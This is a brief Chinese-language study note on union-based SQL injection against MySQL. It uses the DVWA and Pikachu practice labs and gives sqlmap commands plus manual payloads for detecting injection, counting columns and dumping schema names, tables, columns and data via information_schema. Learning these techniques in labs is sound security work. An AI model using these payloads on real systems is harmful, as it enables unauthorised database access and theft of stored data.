sql注入的思路-显注
1 探测有没有注入点,可以使用sqlmap自动测试
- 自动测试
get包可以使用sqlmap直接探测
sqlmap -u “http://xxxx/id=12” –dbms mysql –level 3
post包先存为文件,手动打入注入点,sqlmap -r 该文件
- 手动测试
在输入框输入1‘ and 1=1 ,1’ and 1=2,判断页面变化,前后显示页面不一致,证明存才注入漏洞
2 找到注入点后,进一步确定字段数
判断可查询的字段数
1' order by 2#
3 位置判断,页面显示位置
1 ' union select 1,2#
或者1' union select 'qq','ww'#,这样更加清晰得辨别
4 进一步探测数据库名称,表,列名,具体数据
爆库
1' union select group_concat(schema_name),2 from information_schema.schemata#
爆表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'#
爆pikachu下users表的列名(跨库)
1' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users’#
爆数据
kobe' union select comment,name from dvwa.guestbook#